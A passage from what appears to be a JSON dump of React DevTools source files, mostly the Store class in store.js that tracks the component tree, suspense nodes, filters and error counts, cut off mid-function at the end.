applied,\n// which would result in e.g. NaN itemSize being passed to react-window list.\nconst COMFORTABLE_LINE_HEIGHT: number = parseInt(\n  THEME_STYLES.comfortable['--line-height-data'],\n  10,\n);\nconst COMPACT_LINE_HEIGHT: number = parseInt(\n  THEME_STYLES.compact['--line-height-data'],\n  10,\n);\n\nexport {COMFORTABLE_LINE_HEIGHT, COMPACT_LINE_HEIGHT};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\ntype Shell = {\n  connect: (callback: Function) => void,\n  onReload: (reloadFn: Function) => void,\n};\n\nexport function initDevTools(shell: Shell) {\n  shell.connect((bridge: FrontendBridge) => {\n    // TODO ...\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/store.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {copy} from 'clipboard-js';\nimport EventEmitter from '../events';\nimport {inspect} from 'util';\nimport {\n  PROFILING_FLAG_BASIC_SUPPORT,\n  PROFILING_FLAG_TIMELINE_SUPPORT,\n  PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT,\n  TREE_OPERATION_ADD,\n  TREE_OPERATION_REMOVE,\n  TREE_OPERATION_REORDER_CHILDREN,\n  TREE_OPERATION_SET_SUBTREE_MODE,\n  TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,\n  TREE_OPERATION_UPDATE_TREE_BASE_DURATION,\n  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,\n  SUSPENSE_TREE_OPERATION_ADD,\n  SUSPENSE_TREE_OPERATION_REMOVE,\n  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,\n  SUSPENSE_TREE_OPERATION_RESIZE,\n  SUSPENSE_TREE_OPERATION_SUSPENDERS,\n} from '../constants';\nimport {\n  ElementTypeRoot,\n  ElementTypeActivity,\n  ComponentFilterActivitySlice,\n} from '../frontend/types';\nimport {\n  getSavedComponentFilters,\n  setSavedComponentFilters,\n  shallowDiffers,\n  utfDecodeStringWithRanges,\n  parseElementDisplayNameFromBackend,\n  unionOfTwoArrays,\n} from '../utils';\nimport {localStorageGetItem, localStorageSetItem} from '../storage';\nimport {__DEBUG__} from '../constants';\nimport {printStore} from './utils';\nimport ProfilerStore from './ProfilerStore';\nimport {\n  BRIDGE_PROTOCOL,\n  currentBridgeProtocol,\n} from 'react-devtools-shared/src/bridge';\nimport {\n  StrictMode,\n  ActivityHiddenMode,\n  ActivityVisibleMode,\n} from 'react-devtools-shared/src/frontend/types';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport type {\n  Element,\n  ComponentFilter,\n  ElementType,\n  SuspenseNode,\n  SuspenseTimelineStep,\n  Rect,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {\n  FrontendBridge,\n  BridgeProtocol,\n} from 'react-devtools-shared/src/bridge';\nimport UnsupportedBridgeOperationError from 'react-devtools-shared/src/UnsupportedBridgeOperationError';\nimport type {DevToolsHookSettings} from '../backend/types';\n\nimport RBush from 'rbush';\n\n// Custom version which works with our Rect data structure.\nclass RectRBush extends RBush<Rect> {\n  toBBox(rect: Rect): {\n    minX: number,\n    minY: number,\n    maxX: number,\n    maxY: number,\n  } {\n    return {\n      minX: rect.x,\n      minY: rect.y,\n      maxX: rect.x + rect.width,\n      maxY: rect.y + rect.height,\n    };\n  }\n  compareMinX(a: Rect, b: Rect): number {\n    return a.x - b.x;\n  }\n  compareMinY(a: Rect, b: Rect): number {\n    return a.y - b.y;\n  }\n}\n\nconst debug = (methodName: string, ...args: Array<string>) => {\n  if (__DEBUG__) {\n    console.log(\n      `%cStore %c${methodName}`,\n      'color: green; font-weight: bold;',\n      'font-weight: bold;',\n      ...args,\n    );\n  }\n};\n\nconst LOCAL_STORAGE_COLLAPSE_ROOTS_BY_DEFAULT_KEY =\n  'React::DevTools::collapseNodesByDefault';\nconst LOCAL_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY =\n  'React::DevTools::recordChangeDescriptions';\n\ntype ErrorAndWarningTuples = Array<{id: number, index: number}>;\n\nexport type Config = {\n  checkBridgeProtocolCompatibility?: boolean,\n  isProfiling?: boolean,\n  supportsInspectMatchingDOMElement?: boolean,\n  supportsClickToInspect?: boolean,\n  supportsReloadAndProfile?: boolean,\n  supportsTimeline?: boolean,\n  supportsTraceUpdates?: boolean,\n};\n\nconst ADVANCED_PROFILING_NONE = 0;\nconst ADVANCED_PROFILING_TIMELINE = 1;\nconst ADVANCED_PROFILING_PERFORMANCE_TRACKS = 2;\ntype AdvancedProfiling = 0 | 1 | 2;\n\nexport type Capabilities = {\n  supportsBasicProfiling: boolean,\n  hasOwnerMetadata: boolean,\n  supportsStrictMode: boolean,\n  supportsAdvancedProfiling: AdvancedProfiling,\n};\n\nfunction isNonZeroRect(rect: Rect) {\n  return rect.width > 0 || rect.height > 0 || rect.x > 0 || rect.y > 0;\n}\n\n/**\n * The store is the single source of truth for updates from the backend.\n * ContextProviders can subscribe to the Store for specific things they want to provide.\n */\nexport default class Store extends EventEmitter<{\n  backendVersion: [],\n  collapseNodesByDefault: [],\n  componentFilters: [],\n  error: [Error],\n  hookSettings: [$ReadOnly<DevToolsHookSettings>],\n  hostInstanceSelected: [Element['id'] | null],\n  settingsUpdated: [$ReadOnly<DevToolsHookSettings>, Array<ComponentFilter>],\n  mutated: [\n    [\n      Array<Element['id']>,\n      Map<Element['id'], Element['id']>,\n      Element['id'] | null,\n    ],\n  ],\n  recordChangeDescriptions: [],\n  roots: [],\n  rootSupportsBasicProfiling: [],\n  rootSupportsTimelineProfiling: [],\n  rootSupportsPerformanceTracks: [],\n  suspenseTreeMutated: [[Map<SuspenseNode['id'], SuspenseNode['id']>]],\n  supportsNativeStyleEditor: [],\n  supportsReloadAndProfile: [],\n  unsupportedBridgeProtocolDetected: [],\n  unsupportedRendererVersionDetected: [],\n}> {\n  // If the backend version is new enough to report its (NPM) version, this is it.\n  // This version may be displayed by the frontend for debugging purposes.\n  _backendVersion: string | null = null;\n\n  _bridge: FrontendBridge;\n\n  // Computed whenever _errorsAndWarnings Map changes.\n  _cachedComponentWithErrorCount: number = 0;\n  _cachedComponentWithWarningCount: number = 0;\n  _cachedErrorAndWarningTuples: ErrorAndWarningTuples | null = null;\n\n  // Should new nodes be collapsed by default when added to the tree?\n  _collapseNodesByDefault: boolean = true;\n\n  _componentFilters: Array<ComponentFilter>;\n\n  // Map of ID to number of recorded error and warning message IDs.\n  _errorsAndWarnings: Map<\n    Element['id'],\n    {errorCount: number, warningCount: number},\n  > = new Map();\n\n  _focusedTransition: 0 | Element['id'] = 0;\n\n  // At least one of the injected renderers contains (DEV only) owner metadata.\n  _hasOwnerMetadata: boolean = false;\n\n  // Map of ID to (mutable) Element.\n  // Elements are mutated to avoid excessive cloning during tree updates.\n  // The InspectedElement Suspense cache also relies on this mutability for its WeakMap usage.\n  _idToElement: Map<Element['id'], Element> = new Map();\n\n  _idToSuspense: Map<SuspenseNode['id'], SuspenseNode> = new Map();\n\n  // Should the React Native style editor panel be shown?\n  _isNativeStyleEditorSupported: boolean = false;\n\n  _nativeStyleEditorValidAttributes: $ReadOnlyArray<string> | null = null;\n\n  // Older backends don't support an explicit bridge protocol,\n  // so we should timeout eventually and show a downgrade message.\n  _onBridgeProtocolTimeoutID: TimeoutID | null = null;\n\n  // Map of element (id) to the set of elements (ids) it owns.\n  // This map enables getOwnersListForElement() to avoid traversing the entire tree.\n  _ownersMap: Map<Element['id'], Set<Element['id']>> = new Map();\n\n  _profilerStore: ProfilerStore;\n\n  _recordChangeDescriptions: boolean = false;\n\n  // Incremented each time the store is mutated.\n  // This enables a passive effect to detect a mutation between render and commit phase.\n  _revision: number = 0;\n  _revisionSuspense: number = 0;\n\n  // This Array must be treated as immutable!\n  // Passive effects will check it for changes between render and mount.\n  _roots: $ReadOnlyArray<Element['id']> = [];\n\n  _rootIDToCapabilities: Map<Element['id'], Capabilities> = new Map();\n\n  // Renderer ID is needed to support inspection fiber props, state, and hooks.\n  _rootIDToRendererID: Map<Element['id'], number> = new Map();\n\n  // Stores all the SuspenseNode rects in an R-tree to make it fast to find overlaps.\n  _rtree: RBush<Rect> = new RectRBush();\n\n  // These options may be initially set by a configuration option when constructing the Store.\n  _supportsInspectMatchingDOMElement: boolean = false;\n  _supportsClickToInspect: boolean = false;\n  _supportsTimeline: boolean = false;\n  _supportsTraceUpdates: boolean = false;\n\n  _isReloadAndProfileFrontendSupported: boolean = false;\n  _isReloadAndProfileBackendSupported: boolean = false;\n\n  // These options default to false but may be updated as roots are added and removed.\n  _rootSupportsBasicProfiling: boolean = false;\n  _rootSupportsTimelineProfiling: boolean = false;\n  _rootSupportsPerformanceTracks: boolean = false;\n\n  _bridgeProtocol: BridgeProtocol | null = null;\n  _unsupportedBridgeProtocolDetected: boolean = false;\n  _unsupportedRendererVersionDetected: boolean = false;\n\n  // Total number of visible elements (within all roots).\n  // Used for windowing purposes.\n  _weightAcrossRoots: number = 0;\n\n  _shouldCheckBridgeProtocolCompatibility: boolean = false;\n  _hookSettings: $ReadOnly<DevToolsHookSettings> | null = null;\n  _shouldShowWarningsAndErrors: boolean = false;\n\n  // Only used in browser extension for synchronization with built-in Elements panel.\n  _lastSelectedHostInstanceElementId: Element['id'] | null = null;\n\n  // Maximum recorded node depth during the lifetime of this Store.\n  // Can only increase: not guaranteed to return maximal value for currently recorded elements.\n  _maximumRecordedDepth = 0;\n\n  constructor(bridge: FrontendBridge, config?: Config) {\n    super();\n\n    if (__DEBUG__) {\n      debug('constructor', 'subscribing to Bridge');\n    }\n\n    this._collapseNodesByDefault =\n      localStorageGetItem(LOCAL_STORAGE_COLLAPSE_ROOTS_BY_DEFAULT_KEY) ===\n      'true';\n\n    this._recordChangeDescriptions =\n      localStorageGetItem(LOCAL_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY) ===\n      'true';\n\n    this._componentFilters = getSavedComponentFilters();\n\n    let isProfiling = false;\n    if (config != null) {\n      isProfiling = config.isProfiling === true;\n\n      const {\n        supportsInspectMatchingDOMElement,\n        supportsClickToInspect,\n        supportsReloadAndProfile,\n        supportsTimeline,\n        supportsTraceUpdates,\n        checkBridgeProtocolCompatibility,\n      } = config;\n      if (supportsInspectMatchingDOMElement) {\n        this._supportsInspectMatchingDOMElement = true;\n      }\n      if (supportsClickToInspect) {\n        this._supportsClickToInspect = true;\n      }\n      if (supportsReloadAndProfile) {\n        this._isReloadAndProfileFrontendSupported = true;\n      }\n      if (supportsTimeline) {\n        this._supportsTimeline = true;\n      }\n      if (supportsTraceUpdates) {\n        this._supportsTraceUpdates = true;\n      }\n      if (checkBridgeProtocolCompatibility) {\n        this._shouldCheckBridgeProtocolCompatibility = true;\n      }\n    }\n\n    this._bridge = bridge;\n    bridge.addListener('operations', this.onBridgeOperations);\n    bridge.addListener('shutdown', this.onBridgeShutdown);\n    bridge.addListener(\n      'isReloadAndProfileSupportedByBackend',\n      this.onBackendReloadAndProfileSupported,\n    );\n    bridge.addListener(\n      'isNativeStyleEditorSupported',\n      this.onBridgeNativeStyleEditorSupported,\n    );\n    bridge.addListener(\n      'unsupportedRendererVersion',\n      this.onBridgeUnsupportedRendererVersion,\n    );\n\n    this._profilerStore = new ProfilerStore(bridge, this, isProfiling);\n\n    bridge.addListener('backendVersion', this.onBridgeBackendVersion);\n    bridge.addListener('saveToClipboard', this.onSaveToClipboard);\n    bridge.addListener('hookSettings', this.onHookSettings);\n    bridge.addListener('backendInitialized', this.onBackendInitialized);\n    bridge.addListener('selectElement', this.onHostInstanceSelected);\n  }\n\n  // This is only used in tests to avoid memory leaks.\n  assertExpectedRootMapSizes() {\n    if (this.roots.length === 0) {\n      // The only safe time to assert these maps are empty is when the store is empty.\n      this.assertMapSizeMatchesRootCount(this._idToElement, '_idToElement');\n      this.assertMapSizeMatchesRootCount(this._ownersMap, '_ownersMap');\n    }\n\n    // These maps should always be the same size as the number of roots\n    this.assertMapSizeMatchesRootCount(\n      this._rootIDToCapabilities,\n      '_rootIDToCapabilities',\n    );\n    this.assertMapSizeMatchesRootCount(\n      this._rootIDToRendererID,\n      '_rootIDToRendererID',\n    );\n  }\n\n  // This is only used in tests to avoid memory leaks.\n  assertMapSizeMatchesRootCount(map: Map<any, any>, mapName: string) {\n    const expectedSize = this.roots.length;\n    if (map.size !== expectedSize) {\n      this._throwAndEmitError(\n        Error(\n          `Expected ${mapName} to contain ${expectedSize} items, but it contains ${\n            map.size\n          } items\\n\\n${inspect(map, {\n            depth: 20,\n          })}`,\n        ),\n      );\n    }\n  }\n\n  get backendVersion(): string | null {\n    return this._backendVersion;\n  }\n\n  get collapseNodesByDefault(): boolean {\n    return this._collapseNodesByDefault;\n  }\n  set collapseNodesByDefault(value: boolean): void {\n    this._collapseNodesByDefault = value;\n\n    localStorageSetItem(\n      LOCAL_STORAGE_COLLAPSE_ROOTS_BY_DEFAULT_KEY,\n      value ? 'true' : 'false',\n    );\n\n    this.emit('collapseNodesByDefault');\n  }\n\n  get componentFilters(): Array<ComponentFilter> {\n    return this._componentFilters;\n  }\n  set componentFilters(value: Array<ComponentFilter>): void {\n    if (this._profilerStore.isProfilingBasedOnUserInput) {\n      // Re-mounting a tree while profiling is in progress might break a lot of assumptions.\n      // If necessary, we could support this- but it doesn't seem like a necessary use case.\n      this._throwAndEmitError(\n        Error('Cannot modify filter preferences while profiling'),\n      );\n    }\n\n    // Filter updates are expensive to apply (since they impact the entire tree).\n    // Let's determine if they've changed and avoid doing this work if they haven't.\n    const prevEnabledComponentFilters = this._componentFilters.filter(\n      filter => filter.isEnabled,\n    );\n    const nextEnabledComponentFilters = value.filter(\n      filter => filter.isEnabled,\n    );\n    let haveEnabledFiltersChanged =\n      prevEnabledComponentFilters.length !== nextEnabledComponentFilters.length;\n    if (!haveEnabledFiltersChanged) {\n      for (let i = 0; i < nextEnabledComponentFilters.length; i++) {\n        const prevFilter = prevEnabledComponentFilters[i];\n        const nextFilter = nextEnabledComponentFilters[i];\n        if (shallowDiffers(prevFilter, nextFilter)) {\n          haveEnabledFiltersChanged = true;\n          break;\n        }\n      }\n    }\n\n    this._componentFilters = value;\n\n    // Update persisted filter preferences\n    setSavedComponentFilters(value);\n    if (this._hookSettings === null) {\n      // We changed filters before we got the hook settings.\n      // Wait for hook settings before persisting component filters to not overwrite\n      // persisted hook settings with defaults.\n      // This exists purely as a type safety check; in practice the hook settings\n      // should have arrived before any filter changes could be made.\n      const onHookSettings = (settings: $ReadOnly<DevToolsHookSettings>) => {\n        this._bridge.removeListener('hookSettings', onHookSettings);\n        this.emit('settingsUpdated', settings, value);\n      };\n      this._bridge.addListener('hookSettings', onHookSettings);\n      this._bridge.send('getHookSettings');\n    } else {\n      this.emit('settingsUpdated', this._hookSettings, value);\n    }\n\n    // Notify the renderer that filter preferences have changed.\n    // This is an expensive operation; it unmounts and remounts the entire tree,\n    // so only do it if the set of enabled component filters has changed.\n    if (haveEnabledFiltersChanged) {\n      this._bridge.send('updateComponentFilters', value);\n    }\n\n    this.emit('componentFilters');\n  }\n\n  get bridgeProtocol(): BridgeProtocol | null {\n    return this._bridgeProtocol;\n  }\n\n  get componentWithErrorCount(): number {\n    if (!this._shouldShowWarningsAndErrors) {\n      return 0;\n    }\n\n    return this._cachedComponentWithErrorCount;\n  }\n\n  get componentWithWarningCount(): number {\n    if (!this._shouldShowWarningsAndErrors) {\n      return 0;\n    }\n\n    return this._cachedComponentWithWarningCount;\n  }\n\n  get displayingErrorsAndWarningsEnabled(): boolean {\n    return this._shouldShowWarningsAndErrors;\n  }\n\n  get hasOwnerMetadata(): boolean {\n    return this._hasOwnerMetadata;\n  }\n\n  get nativeStyleEditorValidAttributes(): $ReadOnlyArray<string> | null {\n    return this._nativeStyleEditorValidAttributes;\n  }\n\n  get numElements(): number {\n    return this._weightAcrossRoots;\n  }\n\n  get profilerStore(): ProfilerStore {\n    return this._profilerStore;\n  }\n\n  get recordChangeDescriptions(): boolean {\n    return this._recordChangeDescriptions;\n  }\n  set recordChangeDescriptions(value: boolean): void {\n    this._recordChangeDescriptions = value;\n\n    localStorageSetItem(\n      LOCAL_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,\n      value ? 'true' : 'false',\n    );\n\n    this.emit('recordChangeDescriptions');\n  }\n\n  get revision(): number {\n    return this._revision;\n  }\n  get revisionSuspense(): number {\n    return this._revisionSuspense;\n  }\n\n  get rootIDToRendererID(): Map<number, number> {\n    return this._rootIDToRendererID;\n  }\n\n  get roots(): $ReadOnlyArray<number> {\n    return this._roots;\n  }\n\n  // At least one of the currently mounted roots support the Legacy profiler.\n  get rootSupportsBasicProfiling(): boolean {\n    return this._rootSupportsBasicProfiling;\n  }\n\n  // At least one of the currently mounted roots support the Timeline profiler.\n  get rootSupportsTimelineProfiling(): boolean {\n    return this._rootSupportsTimelineProfiling;\n  }\n\n  // At least one of the currently mounted roots support performance tracks.\n  get rootSupportsPerformanceTracks(): boolean {\n    return this._rootSupportsPerformanceTracks;\n  }\n\n  get supportsInspectMatchingDOMElement(): boolean {\n    return this._supportsInspectMatchingDOMElement;\n  }\n\n  get supportsClickToInspect(): boolean {\n    return this._supportsClickToInspect;\n  }\n\n  get supportsNativeStyleEditor(): boolean {\n    return this._isNativeStyleEditorSupported;\n  }\n\n  get supportsReloadAndProfile(): boolean {\n    return (\n      this._isReloadAndProfileFrontendSupported &&\n      this._isReloadAndProfileBackendSupported\n    );\n  }\n\n  // This build of DevTools supports the Timeline profiler.\n  // This is a static flag, controlled by the Store config.\n  get supportsTimeline(): boolean {\n    return this._supportsTimeline;\n  }\n\n  get supportsTraceUpdates(): boolean {\n    return this._supportsTraceUpdates;\n  }\n\n  get unsupportedBridgeProtocolDetected(): boolean {\n    return this._unsupportedBridgeProtocolDetected;\n  }\n\n  get unsupportedRendererVersionDetected(): boolean {\n    return this._unsupportedRendererVersionDetected;\n  }\n\n  get lastSelectedHostInstanceElementId(): Element['id'] | null {\n    return this._lastSelectedHostInstanceElementId;\n  }\n\n  containsElement(id: number): boolean {\n    return this._idToElement.has(id);\n  }\n\n  getElementAtIndex(index: number): Element | null {\n    if (index < 0 || index >= this.numElements) {\n      console.warn(\n        `Invalid index ${index} specified; store contains ${this.numElements} items.`,\n      );\n\n      return null;\n    }\n\n    // Find which root this element is in...\n    let root;\n    let rootWeight = 0;\n    for (let i = 0; i < this._roots.length; i++) {\n      const rootID = this._roots[i];\n      root = this._idToElement.get(rootID);\n\n      if (root === undefined) {\n        this._throwAndEmitError(\n          Error(\n            `Couldn't find root with id \"${rootID}\": no matching node was found in the Store.`,\n          ),\n        );\n\n        return null;\n      }\n\n      if (root.children.length === 0) {\n        continue;\n      }\n\n      if (rootWeight + root.weight > index) {\n        break;\n      } else {\n        rootWeight += root.weight;\n      }\n    }\n\n    if (root === undefined) {\n      return null;\n    }\n\n    // Find the element in the tree using the weight of each node...\n    // Skip over the root itself, because roots aren't visible in the Elements tree.\n    let currentElement: Element = root;\n    let currentWeight = rootWeight - 1;\n\n    while (index !== currentWeight) {\n      const numChildren = currentElement.children.length;\n      for (let i = 0; i < numChildren; i++) {\n        const childID = currentElement.children[i];\n        const child = this._idToElement.get(childID);\n\n        if (child === undefined) {\n          this._throwAndEmitError(\n            Error(\n              `Couldn't child element with id \"${childID}\": no matching node was found in the Store.`,\n            ),\n          );\n\n          return null;\n        }\n\n        const childWeight = child.isCollapsed ? 1 : child.weight;\n\n        if (index <= currentWeight + childWeight) {\n          currentWeight++;\n          currentElement = child;\n          break;\n        } else {\n          currentWeight += childWeight;\n        }\n      }\n    }\n\n    return currentElement || null;\n  }\n\n  getElementIDAtIndex(index: number): number | null {\n    const element = this.getElementAtIndex(index);\n    return element === null ? null : element.id;\n  }\n\n  getElementByID(id: number): Element | null {\n    const element = this._idToElement.get(id);\n    if (element === undefined) {\n      console.warn(`No element found with id \"${id}\"`);\n      return null;\n    }\n\n    return element;\n  }\n\n  containsSuspense(id: SuspenseNode['id']): boolean {\n    return this._idToSuspense.has(id);\n  }\n\n  getSuspenseByID(id: SuspenseNode['id']): SuspenseNode | null {\n    const suspense = this._idToSuspense.get(id);\n    if (suspense === undefined) {\n      console.warn(`No suspense found with id \"${id}\"`);\n      return null;\n    }\n\n    return suspense;\n  }\n\n  // Returns a tuple of [id, index]\n  getElementsWithErrorsAndWarnings(): ErrorAndWarningTuples {\n    if (!this._shouldShowWarningsAndErrors) {\n      return [];\n    }\n\n    if (this._cachedErrorAndWarningTuples !== null) {\n      return this._cachedErrorAndWarningTuples;\n    }\n\n    const errorAndWarningTuples: ErrorAndWarningTuples = [];\n\n    this._errorsAndWarnings.forEach((_, id) => {\n      const index = this.getIndexOfElementID(id);\n      if (index !== null) {\n        let low = 0;\n        let high = errorAndWarningTuples.length;\n        while (low < high) {\n          const mid = (low + high) >> 1;\n          if (errorAndWarningTuples[mid].index > index) {\n            high = mid;\n          } else {\n            low = mid + 1;\n          }\n        }\n\n        errorAndWarningTuples.splice(low, 0, {id, index});\n      }\n    });\n\n    // Cache for later (at least until the tree changes again).\n    this._cachedErrorAndWarningTuples = errorAndWarningTuples;\n    return errorAndWarningTuples;\n  }\n\n  getErrorAndWarningCountForElementID(id: number): {\n    errorCount: number,\n    warningCount: number,\n  } {\n    if (!this._shouldShowWarningsAndErrors) {\n      return {errorCount: 0, warningCount: 0};\n    }\n\n    return this._errorsAndWarnings.get(id) || {errorCount: 0, warningCount: 0};\n  }\n\n  getIndexOfElementID(id: number): number | null {\n    const element = this.getElementByID(id);\n\n    if (element === null || element.parentID === 0) {\n      return null;\n    }\n\n    // Walk up the tree to the root.\n    // Increment the index by one for each node we encounter,\n    // and by the weight of all nodes to the left of the current one.\n    // This should be a relatively fast way of determining the index of a node within the tree.\n    let previousID = id;\n    let currentID = element.parentID;\n    let index = 0;\n    while (true) {\n      const current = this._idToElement.get(currentID);\n      if (current === undefined) {\n        return null;\n      }\n\n      const {children} = current;\n      for (let i = 0; i < children.length; i++) {\n        const childID = children[i];\n        if (childID === previousID) {\n          break;\n        }\n\n        const child = this._idToElement.get(childID);\n        if (child === undefined) {\n          return null;\n        }\n\n        index += child.isCollapsed ? 1 : child.weight;\n      }\n\n      if (current.parentID === 0) {\n        // We found the root; stop crawling.\n        break;\n      }\n\n      index++;\n\n      previousID = current.id;\n      currentID = current.parentID;\n    }\n\n    // At this point, the current ID is a root (from the previous loop).\n    // We also need to offset the index by previous root weights.\n    for (let i = 0; i < this._roots.length; i++) {\n      const rootID = this._roots[i];\n      if (rootID === currentID) {\n        break;\n      }\n\n      const root = this._idToElement.get(rootID);\n      if (root === undefined) {\n        return null;\n      }\n\n      index += root.weight;\n    }\n\n    return index;\n  }\n\n  isDescendantOf(parentId: number, descendantId: number): boolean {\n    if (descendantId === 0) {\n      return false;\n    }\n\n    const descendant = this.getElementByID(descendantId);\n    if (descendant === null) {\n      return false;\n    }\n\n    if (descendant.parentID === parentId) {\n      return true;\n    }\n\n    const parent = this.getElementByID(parentId);\n    if (!parent || parent.depth >= descendant.depth) {\n      return false;\n    }\n\n    return this.isDescendantOf(parentId, descendant.parentID);\n  }\n\n  /**\n   * Returns index of the lowest descendant element, if available.\n   * May not be the deepest element, the lowest is used in a sense of bottom-most from UI Tree representation perspective.\n   */\n  getIndexOfLowestDescendantElement(element: Element): number | null {\n    let current: null | Element = element;\n    while (current !== null) {\n      if (current.isCollapsed || current.children.length === 0) {\n        if (current === element) {\n          return null;\n        }\n\n        return this.getIndexOfElementID(current.id);\n      } else {\n        const lastChildID = current.children[current.children.length - 1];\n        current = this.getElementByID(lastChildID);\n      }\n    }\n\n    return null;\n  }\n\n  getOwnersListForElement(ownerID: number): Array<Element> {\n    const list: Array<Element> = [];\n    const element = this._idToElement.get(ownerID);\n    if (element !== undefined) {\n      list.push({\n        ...element,\n        depth: 0,\n      });\n\n      const unsortedIDs = this._ownersMap.get(ownerID);\n      if (unsortedIDs !== undefined) {\n        const depthMap: Map<number, number> = new Map([[ownerID, 0]]);\n\n        // Items in a set are ordered based on insertion.\n        // This does not correlate with their order in the tree.\n        // So first we need to order them.\n        // I wish we could avoid this sorting operation; we could sort at insertion time,\n        // but then we'd have to pay sorting costs even if the owners list was never used.\n        // Seems better to defer the cost, since the set of ids is probably pretty small.\n        const sortedIDs = Array.from(unsortedIDs).sort(\n          (idA, idB) =>\n            (this.getIndexOfElementID(idA) || 0) -\n            (this.getIndexOfElementID(idB) || 0),\n        );\n\n        // Next we need to determine the appropriate depth for each element in the list.\n        // The depth in the list may not correspond to the depth in the tree,\n        // because the list has been filtered to remove intermediate components.\n        // Perhaps the easiest way to do this is to walk up the tree until we reach either:\n        // (1) another node that's already in the tree, or (2) the root (owner)\n        // at which point, our depth is just the depth of that node plus one.\n        sortedIDs.forEach(id => {\n          const innerElement = this._idToElement.get(id);\n          if (innerElement !== undefined) {\n            let parentID = innerElement.parentID;\n\n            let depth = 0;\n            while (parentID > 0) {\n              if (parentID === ownerID || unsortedIDs.has(parentID)) {\n                // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n                depth = depthMap.get(parentID) + 1;\n                depthMap.set(id, depth);\n                break;\n              }\n              const parent = this._idToElement.get(parentID);\n              if (parent === undefined) {\n                break;\n              }\n              parentID = parent.parentID;\n            }\n\n            if (depth === 0) {\n              this._throwAndEmitError(Error('Invalid owners list'));\n            }\n\n            list.push({...innerElement, depth});\n          }\n        });\n      }\n    }\n\n    return list;\n  }\n\n  getSuspenseLineage(\n    suspenseID: SuspenseNode['id'],\n  ): $ReadOnlyArray<SuspenseNode['id']> {\n    const lineage: Array<SuspenseNode['id']> = [];\n    let next: null | SuspenseNode = this.getSuspenseByID(suspenseID);\n    while (next !== null) {\n      if (next.parentID === 0) {\n        next = null;\n      } else {\n        lineage.unshift(next.id);\n        next = this.getSuspenseByID(next.parentID);\n      }\n    }\n\n    return lineage;\n  }\n\n  /**\n   * Like {@link getRootIDForElement} but should be used for traversing Suspense since it works with disconnected nodes.\n   */\n  getSuspenseRootIDForSuspense(id: SuspenseNode['id']): number | null {\n    let current = this._idToSuspense.get(id);\n    while (current !== undefined) {\n      if (current.parentID === 0) {\n        return current.id;\n      } else {\n        current = this._idToSuspense.get(current.parentID);\n      }\n    }\n    return null;\n  }\n\n  /**\n   * @param uniqueSuspendersOnly Filters out boundaries without unique suspenders\n   */\n  getSuspendableDocumentOrderSuspenseInitialPaint(\n    uniqueSuspendersOnly: boolean,\n  ): Array<SuspenseTimelineStep> {\n    const target: Array<SuspenseTimelineStep> = [];\n    const roots = this.roots;\n    let rootStep: null | SuspenseTimelineStep = null;\n    for (let i = 0; i < roots.length; i++) {\n      const rootID = roots[i];\n      const root = this.getElementByID(rootID);\n      if (root === null) {\n        continue;\n      }\n      const rendererID = this._rootIDToRendererID.get(rootID);\n      if (rendererID === undefined) {\n        throw new Error(\n          'Failed to find renderer ID for root. This is a bug in React DevTools.',\n        );\n      }\n      // TODO: This includes boundaries that can't be suspended due to no support from the renderer.\n\n      const suspense = this.getSuspenseByID(rootID);\n      if (suspense !== null) {\n        const environments = suspense.environments;\n        const environmentName =\n          environments.length > 0\n            ? environments[environments.length - 1]\n            : null;\n        if (rootStep === null) {\n          // Arbitrarily use the first root as the root step id.\n          rootStep = {\n            id: suspense.id,\n            environment: environmentName,\n            endTime: suspense.endTime,\n            rendererID,\n          };\n          target.push(rootStep);\n        } else {\n          if (rootStep.environment === null) {\n            // If any root has an environment name, then let's use it.\n            rootStep.environment = environmentName;\n          }\n          if (suspense.endTime > rootStep.endTime) {\n            // If any root has a higher end time, let's use that.\n            rootStep.endTime = suspense.endTime;\n          }\n        }\n        this.pushTimelineStepsInDocumentOrder(\n          suspense.children,\n          target,\n          uniqueSuspendersOnly,\n          environments,\n          0, // Don't pass a minimum end time at the root. The root is always first so doesn't matter.\n          rendererID,\n        );\n      }\n    }\n\n    return target;\n  }\n\n  _pushSuspenseChildrenInDocumentOrder(\n    children: Array<Element['id']>,\n    target: Array<SuspenseNode['id']>,\n  ): void {\n    for (let i = 0; i < children.length; i++) {\n      const childID = children[i];\n      const suspense = this.getSuspenseByID(childID);\n      if (suspense !== null) {\n        target.push(suspense.id);\n      } else {\n        const childElement = this.getElementByID(childID);\n        if (childElement !== null) {\n          this._pushSuspenseChildrenInDocumentOrder(\n            childElement.children,\n            target,\n          );\n        }\n      }\n    }\n  }\n\n  getSuspenseChildren(id: Element['id']): Array<SuspenseNode['id']> {\n    const transitionChildren: Array<SuspenseNode['id']> = [];\n\n    const root = this._idToElement.get(id);\n    if (root === undefined) {\n      return transitionChildren;\n    }\n\n    this._pushSuspenseChildrenInDocumentOrder(\n      root.children,\n      transitionChildren,\n    );\n\n    return transitionChildren;\n  }\n\n  /**\n   * @param uniqueSuspendersOnly Filters out boundaries without unique suspenders\n   */\n  getSuspendableDocumentOrderSuspenseTransition(\n    uniqueSuspendersOnly: boolean,\n    rendererID: number,\n  ): Array<SuspenseTimelineStep> {\n    const target: Array<SuspenseTimelineStep> = [];\n    const focusedTransitionID = this._focusedTransition;\n    if (focusedTransitionID === null) {\n      return target;\n    }\n\n    target.push({\n      id: focusedTransitionID,\n      // TODO: Get environment for Activity\n      environment: null,\n      endTime: 0,\n      rendererID,\n    });\n\n    const transitionChildren = 